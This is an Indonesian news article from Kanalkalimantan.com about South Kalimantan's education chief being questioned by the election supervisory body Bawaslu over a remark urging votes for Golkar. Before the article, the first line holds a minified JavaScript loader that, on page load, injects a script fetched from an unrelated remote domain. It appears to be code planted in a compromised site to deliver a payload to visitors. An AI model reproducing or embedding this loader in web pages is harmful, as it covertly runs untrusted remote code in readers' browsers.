(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Untuk kali pertama, Kepala Dinas Pendidikan dan Kebudayaan (Kadisdikbud) Provinsi Kalimantan Selatan (Kalsel) Muhammadun akhirnya memberikan keterangan usai video pernyataannya yang dianggap tidak netral alias berpihak pada salah satu partai politik.
Setelah diperiksa selama lebih satu jam di kantor Bawaslu Kalsel pada Senin (14/11/2023) siang, kepada wartawan Madun -sapaan akrab Kadisdikbud Kalsel- meski irit bicara.
Madun enggan mengungkap apa saja pertanyaan-pertanyaan yang dilontarkan Bawaslu saat memeriksa dirinya. Ia menyuruh untuk menanyakan hal itu langsung kepada pihak Bawaslu Kalsel.
Baca juga: Buntut Sebut Golkar Pakai Kaos Kuning, Kadisdikbud Muhammadun Dipanggil Bawaslu Kalsel
“Pertanyaan umum saja, lebih jelasnya tanya Bawaslu,” kata Madun singkat.
Kadisdikbud Kalsel berdalih, ucapan yang keluar dari mulutnya mengajak orang lain untuk mencoblos partai Golkar saat kegiatan di SMKN 3 Banjarmasin Senin (6/11/2023) lalu, hanyalah spontanitas.
“Spontanitas, itu intinya”, dalih Madun.
Selain memanggil Kadisdikbud Kalsel, di hari yang sama Bawaslu juga memanggil pihak lainnya untuk dimintai keterangan. Diantaranya, dari SMKN 3 Banjarmasin sebagai penyelanggara kegitan dan Badan Kepegawaian Daerah (BKD) Provinsi Kalsel.
Koordinator Divisi Pencegahan, Parmas dan Humas Bawaslu Kalsel, Thessa Aji Bodiono mengatakan, keterangan dari sejumlah pihak yang dipanggil dikatakan akan menjadi bahan Bawaslu melakukan kajian, disamping bukti-bukti lain yang diperoleh Bawaslu.
Baca juga: Menjaga Kontestasi Aman Damai, Kapolres HSU Ajak Tokoh Ngobrol Santai
“Setelah ini kita akan melakukan kajian lebih lanjut terkait informasi yang kita peroleh dan bukti-bukti yang kita miliki,” katanya.
Setelah dilakukan kajian, Bawaslu dalam rentang waktu sepekan ini dikatakan segara mengadakan pleno untuk memutuskan terkait hasil temuan sebelum nantinya dijadikan rekomendasi kepada instansi berwenang.
“Karena ini terkait dugaan pelanggaran netralitas ASN, kalau dugaan itu dianggap terpenuhi pelanggarannya nanti kita teruskan ke Komisi ASN,” ungkap Thessa.
Ditanya terkait ancaman sanksi yang akan diterima Kadisdikbud Kalsel jika terbukti melakukan pelanggaran, Thessa mengaku itu merupakan kewenangan dari Komisi ASN. Sedangkan pihaknya hanya melakukan kajian, kemudian hasil temuan diserahkan dalam bentuk rekomendasi kepada Komisi ASN.
Baca juga: Korupsi Proyek Jalan Desa, Mantan Kades Talusi Kotabaru Divonis 1,5 Tahun Penjara
“Sanksi ringan, sedang atau berat itu nanti di Komisi ASN, saya tidak ada kapasitasnya berandai-andai,” pungkas Thessa. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Jinggle 'Ayo Memilih' dan maskot Si Botan menandai peluncuran rangkaian pesta demokrasi… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More
KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More
This website uses cookies.